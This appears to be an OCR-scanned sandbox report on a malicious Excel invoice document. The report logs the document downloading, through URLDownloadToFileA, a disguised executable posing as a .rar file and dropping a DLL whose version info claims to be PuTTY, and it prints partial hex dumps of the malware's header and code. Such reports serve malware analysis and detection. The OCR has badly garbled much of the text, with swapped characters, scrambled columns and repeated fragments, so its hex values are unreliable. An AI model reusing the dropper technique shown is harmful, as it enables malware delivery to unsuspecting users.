C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

Copyright null 2021

Offset Length Value Ascii Completion

unknown 88

unknown 88

unknown 4

unknown 4

unknown 4

unknown 4

unknown 4

unknown 2

unknown 2

unknown 2

unknown 2

unknown 4

unknown 4

unknown 4

unknown 4

unknown 4

unknown 4

unknown 4

unknown 4

unknown 4

unknown 4

unknown 4

unknown 4

unknown 4

Source
Count Address Symbol

a00e 0000a0  ...cccceoeeeviiiciieine
0e 00 00 c4 Oe 00 ..4..4..d...d....
00 c4 Oe 00 00 e8
Oe 00 00 e8 Oe
00 00 Oc 0f 00 00
Oc Of 00 00 34 0f
00 00 34 0f 00 00
64 0f 00 00 64 Of
00 00 9c 0f 00 00
9c 0f 00 00 c4 of
00 00 c4 0f 00 00
ec 0f 00 00 14 10
00 00 3c 10 00 00
68 10 00 00 ac

10 00 00 c4 10 00
00

success or wait 107 7FEEACDFDDC unknown

00 00 00 00 24
00 00 00 48 00 5
00006¢c 000000 ...@...d......ccccvenen
90 00 00 00 b4

00 00 00 d8 00

00 00 fc 00 00 00

20 01 00 00 44

01 00 00 68 01

00 00 8¢ 01 00 00

b0 01 00 00 d4

01 00 00 f8 01 00

00 1c 02 00 00

40 02 00 00 64

02 00 00 88 02

00 00 ac 02 00 00

dc 02 00 00 00

success or wait 107 7FEEACDFDDC unknown

03 00 00

4d 53 46 54 MSFT success or wait 1 7FEEACDFDDC unknown
02 00 01 00 success or wait 1 7FEEACDFDDC unknown
00 00 00 00 success or wait 1 7FEEACDFDDC unknown
09 04 00 00 success or wait 1 7FEEACDFDDC unknown
00 00 00 00 success or wait 1 7FEEACDFDDC unknown
51 00 Q. success or wait 1 7FEEACDFDDC unknown
00 00 . success or wait 1 7FEEACDFDDC unknown
02 00 . success or wait 1 7FEEACDFDDC unknown
00 00 . success or wait 1 7FEEACDFDDC unknown
06 00 00 00 success or wait 1 7FEEACDFDDC unknown
91 00 00 00 success or wait 1 7FEEACDFDDC unknown
00 00 00 00 success or wait 1 7FEEACDFDDC unknown
00 00 00 00 success or wait 1 7FEEACDFDDC unknown
00 00 00 00 success or wait 1 7FEEACDFDDC unknown
do 02 00 00 success or wait 1 7FEEACDFDDC unknown
08 24 00 00 $.. success or wait 1 7FEEACDFDDC unknown
00 00 00 00 success or wait 1 7FEEACDFDDC unknown
2400 00 00 $... success or wait 1 7FEEACDFDDC unknown
ff ff ff ff success or wait 1 7FEEACDFDDC unknown
20 00 00 00 success or wait 1 7FEEACDFDDC unknown
80 00 00 00 success or wait 1 7FEEACDFDDC unknown
0d 00 00 00 success or wait 1 7FEEACDFDDC unknown
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File Path

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

Copyright null 2021

Offset

unknown

unknown 580

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

Length Value Ascii

4

Completion

a2 01 00 00 success or wait

00 00 00 00 64
00 00 00 c8 00 00 .
00 2¢ 01 00 00 90 ....
010000f40100 ...
0058 02 00 00 bc ...
02 00 00 20 03
00 00 84 03 00
00e80300004c ...
04 00 00 b0 04
00 00 14 05 00
00 78 05 00 00

dc 05 00 00 40

06 00 00 a4 06
00 00 08 07 00
00 6¢ 07 00 00 dO
07 00 00 34 08
00 00 98 08 00
00 fc 08 00 00 60
09 00 00 c4 09

00 00 28 0a 00
00 8c 0a 00 00 fO
0a 00 00 54 Ob
00 00 b8 Ob 00
00 1c Oc 00 00 80
0c 00 00 e4 Oc 00
00 48 0d 00 00

ac 0d 00 00 10
Oe 00 00 74 Oe
00 00 d8 Oe 00
00 3c 0f 00 00 a0
0f 00 00 04 10 00
00 68 10 00 00 cc
1000003011
00 0094 11 00
00 f8 11 00 00 5¢
12 00 00 c0 12 00
00 24 13 00 00
88130000 ec 13
00 00 50 14 00
00 b4 14 00 00
18 1500 00 7¢c
1500 00 €0 15
00 00 44 16 00
00 a8 16 00 00 Oc
170000 70 17
00 00 d4 17 00
00 38 18 00 00 9c
18 00

success or wait

88 03 00 00 a4
38 00 00 ff ff ff ff
0f 00 00 00

..... L

success or wait

1c 400009813 .O..............
00 00 ff ff ff ff Of
00 00 00

success or wait

b4 62 00 00 34
00 00 00 ff ff ff ff
0f 00 00 00

b4 success or wait

4c 4b 00 00 dO Lo
03 00 00 ff ff ff ff
0f 00 00 00

success or wait

2c3c 00008000 <. success or wait
00 00 ff ff ff ff Of

00 00 00

ac 3¢ 00 00 a0 Oe .<..............
00 00 ff ff ff ff Of
00 00 00

success or wait

e8 62 00 00 00 .b.
02 00 00 ff ff ff ff
0f 00 00 00

success or wait

e8640000f849 .d..l.....
00 00 ff ff ff ff Of
00 00 00

success or wait

e0 ae 00 00 54
06 00 00 ff ff ff ff
0f 00 00 00

T success or wait

34 b5 00 00 50
19 00 00 ff ff ff ff
0f 00 00 00

4P, success or wait

ffffffff000000 ................
00 ff ff ff ff Of 00
00 00

success or wait

Source

Count Address

1

1

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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File Path

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

C:\Users\user\AppData\Local\Te
mp\Excel8.0\MSForms.exd

Copyright null 2021

Offset

unknown

unknown

unknown

unknown

unknown

Length Value Ascii

16

14500

84.ce 00001800 ................
00 00 ff ff ff ff Of
00 00 00

ff ff f ff 00 00 00
00 ff ff ff ff Of 00
00 00

ffffffff000000 ................
00 ff ff ff ff Of 00
00 00

ffffffff000000 ................
00 ff ff ff ff Of 00
00 00

00 00 00 00 00
00 00 00 00 00
03 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 18 00
00 00 00 00 00
00 14 00 00 00
00 00 00 00 ff ff f
ff 00 00 00 00 00
00 00 00 ff ff ff ff
00 00 00 00 04
00 00 00 03 00
03 80 00 00 00
00 00 00 00 00 ff
ff ff ff 26 21 01 00
9c ce 00 00 00 00
00 00 00 00 00
00 03 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 30
00 00 00 00 00
00 00 2¢ 00 00 00
00 00 00 00 ff ff f
ff 00 00 00 00 00
00 00 00 ff ff ff ff
00 00 00 00 04
00 00 00 03 00
03 80 00 00 00
00 00 00 00 00 ff
ff ff ff a6 10 02 00
9c ce 00 00 00 00
00 00 00 00 00
00 03 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 48
00 00 00 00 00
00 00 44 00 00

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

Source

Count Address

1

1

1

1

1

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

7FEEACDFDDC

Symbol

unknown

unknown

unknown

unknown

unknown
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Temporary Internet
Files\Content.|IE5\ZAE7RW1P\qOig4v[1].rar

Copyright null 2021

Offset
unknown 5415

Length Value

4d 5a 90 00 03
00 00 00 04 00
00 00 ff ff 00 00
b8 00 00 00 00
00 00 00 40 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 80
00 00 00 Oe 1f ba
Oe 00 b4 09 cd 21
b8 01 4c cd 21 54
68 69 73 20 70
72 6f67 72 61 6d
20 63 61 6e 6e 6f
742062 65 20
7275 6e 20 69
6e 20 44 4f 53 20
6d 6f 64 65 2e 0d
0d 0a 24 00 00
00 00 00 00 00
50 45 00 00 4c 01
09 00 87 5a fc 5f
00 00 00 00 00
00 00 00 e0 00
Oe 21 0b 01 02
3200 7a 04 00
00 60 00 00 00
00 00 00 d0 26
00 00 00 10 00
00 00 40 00 00
00 00 00 10 00
10 00 00 00 02
00 00 04 00 00
00 00 00 00 00
04 00 00 00 00
00 00 00 00 40
05 00 00 04 00
00 00 00 00 00
02 00 00 00 00
001000 00 10
00 00 00 00 10
00 00 10 00 00
00 00 00 00 10
00 00 00 00 00
00 00 00 00 00

cannot b

.L.!This program
e run in DOS

Completion

success or wait

Source
Count Address

1 14012828C

Symbol
URLDownloadToFileA
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File Path Offset

C:\Users\user\AppData\Local\Mi unknown 8192
crosoft\Windows\Temporary Internet

Files\Content.|IE5\ZAE7RW1P\qOig4v[1].rar

Copyright null 2021

Length Value

00 ff 15 d0 88 00
10 ff 15 b0 86 00

Source

Completion Count Address

success or wait 1 14012828C

10831806 7402 ....... @...P..0..Q5....5....
cd375dc3cccec .5..Y.
cc558becal a8
9a 00 10 a3 14
9b 00 10 68 78
80 00 10 68 88
800010 ff15b4 p...E..E......
86 00 10 50 ff 15

b8 86 00 10 a3

18 9b 00 10 b8

40 00 00 00 50

b9 00 30 00 00

51 ff 35 14 9b 00

10 ff 35 f4 9a 00

10 ff 35 18 9b 00

1059 8b 0d 18

9b 00 10 8b c0 8b

c0 8b c0 8b c0 8b

c0 8b c0 8b c0 8b

c0 8b c0 8b cO 8b

c0 8b c0 8b c0 8b

c0 8b c0 8b c0 8b

c0 68 b7 21 00

1051 c3 a3 1c 9b

00 10 8b 0d 1c 9b

00 10 89 0d ec 9a

00 10 8b 15 a8

9a 00 10 89 15 ac

9a 00 10 c7 05 b8

9a 00 10 be ac

00 00 al b8 9a

00 10 8b 0d ec

9a 00 10 8d 94

01 a0 bf 03 00 89

15 b8 9a 00 10

al b8 9a 00 10

2d be ac 00 00 a3

b8 9a 00 10 al 1c

9b 00 10 5d c3 cc

cc cccc 55 8bec

83 ecOcal 70 89

00 10 89 45 f4 c7

45 8 94 80 00 10

8b

Symbol
URLDownloadToFileA
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Windows\Temporary Internet
Files\Content.|IE5\ZAE7RW1P\qOig4v[1].rar

Copyright null 2021

Offset Length Value Ascii

unknown 4003

Completion

1753b482b5f9 .S....cccciis HY.. ...
FR— q.9..d....(...

success or wait
8219 07 07 07
07 07 07 07 07
07 07 07 18 d7
48 59 ad 08 20
do 87 fe f6 07 07
07 07 07 07 07
07 07 07 07 07
07 07 b4 dc 71 f9
39 elel 6406
91 d2 d4 28 0f 07
07 07 07 07 07
07 07 44 41 ce cf
42 35 68 d4 07
07 07 07 27 ce 36
5507 07 07 07
07 07 07 07 07
07 07 07 07 07
a2 lacb1del 99
d7 9b c5 16 23 ae
ea cf 07 07 07 07
07 07 07 07 07
07 07 07 07 07
07 07 07 07 a6 af
b3 be 06 df 74 cb
36 91 dc 58 78 4c
64 d1 1d 6f 07 07
07 07 07 1e f9 dO
44 6e 07 07 a4
9b 07 a2 07 f9 07
07 07 07 07 07
07 07 07 07 07
07 07 07 07 36
5c 9e 2¢ 32 fe 2f
50 82 18 08 94
8a ca d3 07 07 07
07 07 07 07 07
07 5¢ 2d 59 69 2f
199 44 0d 07 07
07 07 07 07 07
17 9c cb f7 77 59
3e 07 07 07 4a
95 ac 07 07 07 07
07 07 07 07 07
28 5a 81 c5 ffad
4390 aa 07 07
07 07 07

Source

Count Address

8

14012828C

Symbol
URLDownloadToFileA
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File Path
C:\Users\user\AppData\Local\Temp\qglroxdwh.dIl

Copyright null 2021

Offset

Length Value

unknown 25006 4d 5a 90 00 03

00 00 00 04 00
00 00 ff ff 00 00
b8 00 00 00 00
00 00 00 40 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 80
00 00 00 Oe 1f ba
Oe 00 b4 09 cd 21
b8 01 4c cd 21 54
68 69 73 20 70
72 6f67 72 61 6d
20 63 61 6e 6e 6f
742062 65 20
7275 6e 20 69
6e 20 44 4f 53 20
6d 6f 64 65 2e 0d
0d 0a 24 00 00
00 00 00 00 00
50 45 00 00 4c 01
09 00 87 5a fc 5f
00 00 00 00 00
00 00 00 e0 00
Oe 21 0b 01 02
3200 7a 04 00
00 60 00 00 00
00 00 00 d0 26
00 00 00 10 00
00 00 40 00 00
00 00 00 10 00
10 00 00 00 02
00 00 04 00 00
00 00 00 00 00
04 00 00 00 00
00 00 00 00 40
05 00 00 04 00
00 00 00 00 00
02 00 00 00 00
001000 00 10
00 00 00 00 10
00 00 10 00 00
00 00 00 00 10
00 00 00 00 00
00 00 00 00 00

cannot b

.L.!This program
e run in DOS

Completion

success or wait

Source
Count Address

1 14012828C

Symbol
URLDownloadToFileA
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File Path Offset

C:\Users\user\AppData\Local\Mi unknown 679
crosoft\Windows\Temporary Internet

Files\Content.|IE5\ZAE7RW1P\qOig4v[1].rar

Copyright null 2021

Length Value

44 65 0f 86 0d €8
1d c3 2d 00 89 5b
89 b3 04 d7 2d
68 84 94 66 f1 68
4a 3f 31 al bf 28
ec 00 97 a4 b4
24 23 2300 00
le 1924 64 9b
2d 00 8b 4b 89
97 0297 2d 21
2121212121
2121212121
2189 84 4b 15
04 00 67 a6 b4
24 4f 29 00 00 4f
51 04 00 67 a2
74 24 1b f7 8¢ 8¢
7b 44 0a 00 57 c5
le 6d 25 2d 8b cb
d2 19 24 60 2d
2d 00 56 0f 11 04
00 27 a2 94 24 cf
22 00 00 6f dc be
00 17 c6 ba fb fO
do of 1f 67 2d 00
00 d7 21 1f 80 d7
2c00212121
2121212121
2121212100
9a a5 e9 e8 cf d7
02 00 09 e8 23
08 d6 58 0b 6a cf
f7 €7 79 b9 2b 00
83 db 23 8b c5 62
6e 04 00 59 f9 52
55 26 e0 90 07
97 2c 8b fa Oc 37
b5 bl a4 34 8b f1
da 62 Of 84 9e 28
00 00 ec 51 b5 b1
24 34 8d 6b 57
5a 00 8d d3 98
7b 06 57 34 8
2d21212121
2121212121
2121219335
00 6a

Source

Completion Count Address

De......-.[...-h..f.h3?1..(. success or wait 51 14012828C
LGBHELLSd- LK

1. K...g..$0)..0Q..g 1$....

{D..W..m%-. 8.
7.4,
b (Q.$AKWZ... {W4.-

T 5]

Symbol
URLDownloadToFileA
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File Path
C:\Users\user\AppData\Local\Temp\qglroxdwh.dIl

Copyright null 2021

Offset Length Value

unknown 5206

47 23 00 00 ff 24
7c 02 a7 ad c0 fO
67 9f 8¢ 24 4b 21
2121212121
2121212121
21 2300 00 ff 9b
7b 02 67 3f 10 44
7b f4 8c 8¢ 7b c4
09 00 67 16 Of ef
9e 3f11 00 98 f8
23 40 a7 03 cc d8
49 3f d6 4c 7b fc
e7 d5 dc 31 00 83
57 a4 4f 8d a3 58
b4 09 27 34 8
e5 fc 31 00 8d 93
58 b0 09 e7 33
e8 h9 6¢ 31 00 83
17 84 50 8d 53
5721212121
2121212121
2121 21 b4 09
e733e899 2c 32
00 0f a7 f7 23 40
52 bf 24 b0 9e 33
00 66 d0 9e c9 Of
a6 33 c7 44 bb f3
24 92 83 e5 66 Of
c9 ff 23 48 ef b2
7b 02 97 b2 c0 10
97 c18c 24 ab 3c
00 00 cf 22 7b 02
57 c0 8c 24 f7 3b
00 00 bf 16 7b 02
57 b2 c0 f0 e7 bf
8c21212121
2121212121
212121 24bb 3c
00 00 bf f6 7a 02
17 3e 10 44 3b f3
8c 8c 4b ¢3 09 00
27 15 Of ef 4e 3e
11 00 58 f7 23 40
83

Source
Ascii Completion Count Address

|...$G#..$|.....q. $KINII  success or wait 34 14012828C
mng... £g?2.0{..{..9....7

LH@. 2L WLOLX.

4..1..X..3.11...P.swill

< LW.S.
mimmsg <....z..>.D;...K.
LGNS XH@.

Symbol
URLDownloadToFileA
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File Path
C:\Users\user\AppData\Local\Temp\qglroxdwh.dIl

Copyright null 2021

Offset Length Value

unknown 3356

6¢ 00 69 00 65
00 6e 00 74 00
00 00 2¢ 00 06 00
01 00 49 00 6e
00 74 00 65 00
7200 6e 00 61
00 6¢ 00 4e 00 61
00 6d 00 65 00
00 00 50 00 75
00 54 00 54 00
59 00 00 00 34
00 06 00 01 00 4f
00 72 00 69 00
67 00 69 00 6e
00 61 00 6¢ 00 46
00 69 00 6¢ 00 65
00 6e 00 61 00
6d 00 65 00 00
0050 00 75 00
54 00 54 00 59
00 00 00 3a 00
0d 00 01 00 46
00 69 00 6¢ 00 65
00 56 00 65 00
7200 73 00 69
00 6f 00 6e 00 00
00 00 00 52 00
65 00 6¢ 00 65 00
61 00 73 00 65
00 20 00 30 00
2e 00 36 00 38
00 00 00 00 00
3e 00 0d 00 01
00 50 00 72 00 6f
00 64 00 75 00
63 00 74 00 56
00 65 00 72 00
7300 69 00 6f 00
6e 00 00 00 52
00 65 00 6¢ 00 65
00 61 00 73 00
65 00 20 00 30
00 2e 00 36 00
38 00 00 00 00
00 6¢ 00 24 00 01
00 4c 00 65 00 67
00 61 00 6¢ 00 43
00 6f 00 70 00 79

Source
Ascii Completion Count Address

lLi.e.nt..,...Lnter.n. success or wait 1 14012828C
alN.am.e..P.uT.T.Y..4.

...0rig.in.alF.ile.n.a.

m.e..P.uT.T.Y.........Fii.l

e.V.ers.io.n...Relea.

s.e..0..6.8...>..P.r.o.

d.u.c.tV.ers.i.o.n..Re.l

e.as.e..0..68..1%..L.

e.g.al.C.o.py

Symbol
URLDownloadToFileA
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File Path
C:\Users\user\AppData\Local\Temp\4D1F0000

C:\Users\user\AppData\Local\Temp\4D1F0000

Copyright null 2021

Offset
569

1050

Length Value

481

2

Ascii

Completion

a4 95 cb 6e db 30 ...n.0.E.......H...(,0...6@S.[ success or wait
....... (.w(9...a....u...q....

10 45 {7 05 fa Of
02 b7 85 48 a7
8b a2 28 2c 67

dla4ch364053 ...

a0 5b 9a 1c d9 ac
9 02 c9 28 f2 df
77 28 39 Oe e2
ea6lallbcb 12 ;
75 ef 99 19 71 86
eb db d6 e8 a2
811095 b3 15
b9 al 2b 52 80
15 4e 2a bb ab c8
af c7 6f e5 67 52
c4 c4 ad e4 da 59
a8 c8 11 22 b9 dd
bc 7f b7 7e 3c 7a
88 05 aa 6d ac c8
3e 25 ff 85 bl 28
6 60 78 a4 ce 83
c5 95 da 05 c3 13
de 86 1d f3 5c 1c
f8 0e d8 c7 d5 ea
13 13 ce 26 b0
a9 4c d9 83 6¢ d6
77 50 f3 27 9d 8a
fb 16 1f 7 91 6¢
95 25 c5 d7 fe bd
8c aa 08 f7 5e 2b
c1 1306 ca la2b
2f 20 a5 ab 6b 25
40 3a f1 64 dO 9a
46 1f 80 cb b8 07
48 46 53 1f 14 12
c3 4f 48 09 13 8b
84 0d 32 bd dd
5d 30 95 c9 31 e7
e7c30a30f5a0
a2 2d f3 ca b0 26
80 8e 17 a2 99
d4 7c 5f 3b 8a ca
2e fd b8 57 3e 7e
c0 02 8f 10 f2 ca

03 00

k%@:.d..F.
2000200 8|

success or wait

Source
Count Address

23 7FEEAC59ACO

Symbol

unknown

23 7FEEAC59ACO unknown
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Source
File Path Offset Length Value Ascii Completion Count Address Symbol

C:\Users\user\AppData\Local\Temp\4D1F0000 0 569 50 4b 03 04 14 PK......... L Foe success or wait 24 7FEEAC59ACO unknown
00 06 00 08 00 [Content_Types].xml ...
00 00 21 00 04 f8 (cevvrevevereierriereieirinieiens
aafde3010000 ...
2a 07 00 00 13
0008 02 5b 43 6f ...
6e 74 65 6e 74 5f .
5479 70 65 73
5d 2e 78 6d 6¢ 20 ...............
a2 04 02 28 a0
00 02 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\4D1F0000 27078 4096 ec 7d 0f 74 5c d5 .}.t\.y.JoF.X.<......B.cp..8F. success or wait 9 7FEEAC59ACO unknown
79e77d6f46d2 IF.2.@.(..f$...e. ...$0..".>
58ff3c928511 . ......... J...$M.NH......Qw.

b6 clcf42d8 63 ..7..6]..E......0.0dIH...+.
70ccc8384608 s }..\6..W.%r.....
6c 46 b2 0d 32 !
b58d 40 0e 28 ... yAy .y1.Z.2P!..v.._....
c4 89 66 24 8d D AF@.@FAWFAS KN
a5 b1 65 cd 20 8d P.h-h.h...t=..t.h=h

1d 99 24 30 b6

15 22 b2 3e 89

60 a9 ab 12 9a

88 1c 92 ea 10 4a

95 1c 96 c8 24 4d

c6 4e 48 b5 1c d2

8a 9c fe 51 77 {7

9c 08 37 dd d5

d9 36 5d b1 0d

45 db d3 a2 fd fd

ee bd 6f e6 69 f4

64 6¢ 48 ff 9d d3

2b 7f 73 bf fb bb

df f7 dd ff f7 dd f7

de 7d d7 93 7f 5¢

36 fd dc b7 57 bd

2572 dcOe el 11

ef cd 2f 13 f9 Oe

dc 00 4f 92 ce 2f

84 09 86 f4 de fc

fc bc ¢4 f0 03 f6

3f dc bf a3 1a f8

27 e4 b5 00 ed

1602794179

20 b6 79 31 e8

5a d0 32 50 21

a8 08 c4 76 2e 81

5f 0a ba 06 e4 07

95 81 ca 41 2b 40

15 a0 ab 40 2b

4157 83 2a41

3e d0 2a d0 6a

do 1a d0 5e 50

13 68 2d 68 Ob

68 1d a8 0a 74

3d a8 1a 74 03

68 3d 68
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File Path
C:\Users\user\AppData\Local\Temp\4D1F0000

Copyright null 2021

Offset
50749

Length Value

2653

89 50 4e 47 0d
Oa 1a Oa 00 00
00 0d 49 48 44
52 00 00 01 6b
00 00 00 ea 08
03 00 00 00 53
03 94 83 00 00
00 19 74 45 58
74 53 6f 66 74 77
61 72 65 00 41
64 6f 62 65 20 49
6d 61 67 65 52
6561 64 79 71 c9
65 3¢ 00 00 00 18
50 4c 54 45 ff ff ff
b0 b0 b0 d3 d4
d3 4b 49 4b 8f cc
e5 94 96 6 c9 d3
f9 84 84 85 f5 b7
Ob db 00 00 09
db 49 44 41 54
78 da ec 9d 09 62
a3 300c 45 2d 91
a2 fb df b8 de 11
60 a8 59 02 86
7e 66 da a6 24
93 68 le f6 b7 2c
ch c2 48 87 e3 9a
43 4c 67 1e 78 3¢
d4 68 b0 06 6b
b0 06 6b b0 06
6b b0 06 6b b0
06 6b b0 06 6b
b0 06 6b b0 06
eb ff ce 9a bb ce
9e ec 3a f6 df 84
fd ef 24 46 dc 03
fb 88 ¢8 90 b1 7f
ed 03 e6 f8 45 a7
98 c2 dd c7 74 f2
63 3fcc 7e 94 f4
f2 71 3fdc a7 fe
fc c9 fa 21 46 cf
cd f6 a7 29 3c 23
24 e26¢c14d3 9
ef cc d6 e4

PNG........ IHDR...k......... S success or wait

....... tEXtSoftware.Adobe

Imag
eReadyqg.e<....PLTE

1] RNSONRSNSRR—— IDATX....b

0.E-.....Y.~f.$.h.
H...CLg.x<.h..k..k..k.

K.k..

R [ 2 (] SR =

<#3$.l.......

Completion

Source
Count Address

Symbol

1 7FEEAC59ACO unknown
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File Path
C:\Users\user\AppData\Local\Temp\4D1F0000

C:\Users\user\Desktop\~$INV7693947099-
20210111388211.xIsm

C:\Users\user\Desktop\~$INV7693947099-
20210111388211.xIsm

Copyright null 2021

Offset Length Value

56990 1719

unknown 55

unknown 110

50 4b 01 02 2d
00 14 00 06 00
08 00 00 00 21
00 04 f8 aa fd e3
01 00 00 2a 07
00 00 13 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
5b 43 6f 6e 74 65
6e 74 5f 54 79 70
65 73 5d 2e 78
6d 6¢ 50 4b 01 02
2d 00 14 00 06
00 08 00 00 00
21 00 b5 55 30
23 f5 00 00 00 4c
02 00 00 Ob 00
00 00 00 00 00
00 00 00 00 00
00 00 1c 04 00 00
5f 72 65 6¢ 73 2f
2e 72 65 6¢ 73

50 4b 01 02 2d
00 14 00 06 00
08 00 00 00 21
00 16 15 88 97
1b 01 00 00 2b
03 00 00 1a 00
00 00 00 00 00
00 00 00 00 00
00 00 42 07 00
00 78 6¢ 2f 5f 72
65 6¢ 73 2f 77 6f
72 6b 62 6f 6f 6b
2e 78 6d 6¢ 2e 72
65 6¢ 73 50 4b 01
02 2d 00 14 00
06 00 08 00 00
00 21 00 76 da ca
4b 7e 02 00 00
07 06 00 00 Of 00
00 00 00 00 00
00 00 00 00 00
00 00 9d 09 00
00 78 6c 2f 77 6f
72 6b 62 6f 6f 6b
2e 78 6d 6¢

0541 6¢ 627573
2020202020
20202020 20
20202020 20
2020202020
20202020 20
2020202020
202020 20 20
20202020 20
202020 20 20
202020 20

050041006c00 ..Albus..............

6200 7500 73
00 20 00 20 00
2000 20 00 20
00 20 00 20 00
2000 20 00 20
00 20 00 20 00
2000 20 00 20
00 20 00 20 00
2000 20 00 20
00 20 00 20 00
2000 20 00 20
00 20 00 20 00
2000 20 00 20
00 20 00 20 00
2000 20 00 20
00 20 00 20 00
2000 20 00 20
00 20 00 20 00
2000 20 00 20
00 20 00 20 00
20 00 20 00

.............. B...xl/_rels/wor

kbook.xml.relsPK..

xl/workbook.xml

.user

Symbol
7FEEAC59ACO unknown

WriteFile

WriteFile
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File Path
C:\Users\user\Desktop\EC3F0000

C:\Users\user\Desktop\EC3F0000

Copyright null 2021

Offset
569

1050

Length Value

481

2

Ascii

Completion

a4 95 cb 6e db 30 ...n.0.E.......H...(,0...6@S.[ success or wait

1045705 fa Of ....... (.w(9...a....u...q....

02 b7 85 48 a7
8b a2 28 2c 67

dla4ch364053 ...

a0 5b 9a 1c d9 ac

f902c9282df .k%@:.d..F.
2000200 8|

77 28 39 Oe e2
ea6lallbcb 12 ;
75 ef 99 19 71 86
eb db d6 e8 a2
811095 b3 15
b9 al 2b 52 80
15 4e 2a bb ab c8
af c7 6f e5 67 52
c4 c4 ad e4 da 59
a8 c8 11 22 b9 dd
bc 7f b7 7e 3c 7a
88 05 aa 6d ac c8
3e 25 ff 85 bl 28
6 60 78 a4 ce 83
c5 95 da 05 c3 13
de 86 1d f3 5c 1c
f8 0e d8 c7 d5 ea
13 13 ce 26 b0
a9 4c d9 83 6¢ d6
77 50 f3 27 9d 8a
fb 16 1f 7 91 6¢
95 25 c5 d7 fe bd
8c aa 08 f7 5e 2b
c1 1306 ca la2b
2f 20 a5 ab 6b 25
40 3a f1 64 dO 9a
46 1f 80 cb b8 07
48 46 53 1f 14 12
c3 4f 48 09 13 8b
84 0d 32 bd dd
5d 30 95 c9 31 e7
e7c30a30f5a0
a2 2d f3 ca b0 26
80 8e 17 a2 99
d4 7c 5f 3b 8a ca
2e fd b8 57 3e 7e
c0 02 8f 10 f2 ca

03 00

success or wait

Source
Count Address

23 7FEEAC59ACO

Symbol

unknown

23 7FEEAC59ACO unknown
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Source
File Path Offset Length Value Ascii Completion Count Address Symbol

C:\Users\user\Desktop\EC3F0000 0 569 50 4b 03 04 14 PK......... L Foe success or wait 24 7FEEAC59ACO unknown
00 06 00 08 00 [Content_Types].xml ...
00 00 21 00 04 f8 (everevevereiarrieiciirinieians
aafde3010000 ...
2a 07 00 00 13
0008 02 5b 43 6f ...
6e 74 65 6e 74 5f .
5479 70 65 73
5d 2e 78 6d 6¢ 20 ...............
a2 04 02 28 a0
00 02 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
00 00 00 00 00
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File Path
C:\Users\user\Desktop\EC3F0000

Copyright null 2021

Offset
27078

Length Value

4096

